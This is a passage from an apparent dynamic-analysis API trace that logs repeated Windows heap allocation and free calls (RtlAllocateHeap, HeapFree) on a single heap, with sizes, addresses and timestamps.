(HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.776] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.776] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.777] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.778] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.782] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.783] HeapFree 